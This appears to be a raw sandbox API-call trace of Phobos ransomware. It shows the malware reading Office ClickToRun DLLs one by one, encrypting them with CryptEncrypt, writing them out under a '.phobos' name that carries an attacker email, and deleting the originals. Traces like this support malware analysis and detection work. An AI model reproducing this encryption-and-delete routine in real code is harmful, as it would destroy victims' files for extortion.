(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0062.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0062.192] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.192] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0062.193] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc690) returned 1 [0062.193] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.193] ReadFile (in: hFile=0x334, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x58c0, lpOverlapped=0x0) returned 1 [0062.211] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x58d0, dwBufLen=0x58d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x58d0) returned 1 [0062.211] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x58d0, lpOverlapped=0x0) returned 1 [0062.212] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc710) returned 1 [0062.213] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.213] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.213] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.213] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.213] CryptDestroyKey (hKey=0x10dc690) returned 1 [0062.213] CloseHandle (hObject=0x334) returned 1 [0062.213] CloseHandle (hObject=0x304) returned 1 [0062.214] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0062.221] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.227] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=20672) returned 1 [0062.227] CloseHandle (hObject=0x300) returned 1 [0062.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0062.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.231] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.231] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.237] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb90) returned 1 [0062.237] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.237] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x50c0, lpOverlapped=0x0) returned 1 [0062.245] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50d0, dwBufLen=0x50d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x50d0) returned 1 [0062.245] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x50d0, lpOverlapped=0x0) returned 1 [0062.246] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dccd0) returned 1 [0062.246] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.246] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.246] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0062.246] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.246] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0062.246] CloseHandle (hObject=0x338) returned 1 [0062.246] CloseHandle (hObject=0x300) returned 1 [0062.248] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0062.249] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.249] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=19136) returned 1 [0062.249] CloseHandle (hObject=0x300) returned 1 [0062.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0062.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.250] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.250] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.250] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb10) returned 1 [0062.250] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.250] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4ac0, lpOverlapped=0x0) returned 1 [0062.269] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4ad0, dwBufLen=0x4ad0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4ad0) returned 1 [0062.269] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4ad0, lpOverlapped=0x0) returned 1 [0062.270] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc750) returned 1 [0062.270] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.270] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.270] CryptDestroyKey (hKey=0x10dc750) returned 1 [0062.270] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.270] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0062.270] CloseHandle (hObject=0x300) returned 1 [0062.270] CloseHandle (hObject=0x338) returned 1 [0062.270] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0062.271] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.271] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=70848) returned 1 [0062.271] CloseHandle (hObject=0x338) returned 1 [0062.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0062.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.272] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.272] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.272] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dca50) returned 1 [0062.272] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.272] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x114c0, lpOverlapped=0x0) returned 1 [0062.280] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x114d0, dwBufLen=0x114d0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x114d0) returned 1 [0062.280] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x114d0, lpOverlapped=0x0) returned 1 [0062.281] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcbd0) returned 1 [0062.281] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.281] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.282] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0062.282] WriteFile (in: hFile=0x300, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.282] CryptDestroyKey (hKey=0x10dca50) returned 1 [0062.282] CloseHandle (hObject=0x338) returned 1 [0062.282] CloseHandle (hObject=0x300) returned 1 [0062.282] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0062.291] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.292] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=19648) returned 1 [0062.292] CloseHandle (hObject=0x300) returned 1 [0062.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0062.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0062.292] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.292] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.292] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc710) returned 1 [0062.292] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.292] ReadFile (in: hFile=0x300, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x4cc0, lpOverlapped=0x0) returned 1 [0062.757] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4cd0, dwBufLen=0x4cd0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x4cd0) returned 1 [0062.758] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x4cd0, lpOverlapped=0x0) returned 1 [0062.758] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcbd0) returned 1 [0062.759] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0062.759] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70, dwBufLen=0x70 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x70) returned 1 [0062.759] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0062.759] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x122, lpOverlapped=0x0) returned 1 [0062.759] CryptDestroyKey (hKey=0x10dc710) returned 1 [0062.759] CloseHandle (hObject=0x300) returned 1 [0062.759] CloseHandle (hObject=0x338) returned 1 [0062.759] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0062.760] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0062.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.760] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=24768) returned 1 [0062.760] CloseHandle (hObject=0x338) returned 1 [0062.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0062.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0062.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0062.760] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.761] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0062.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, 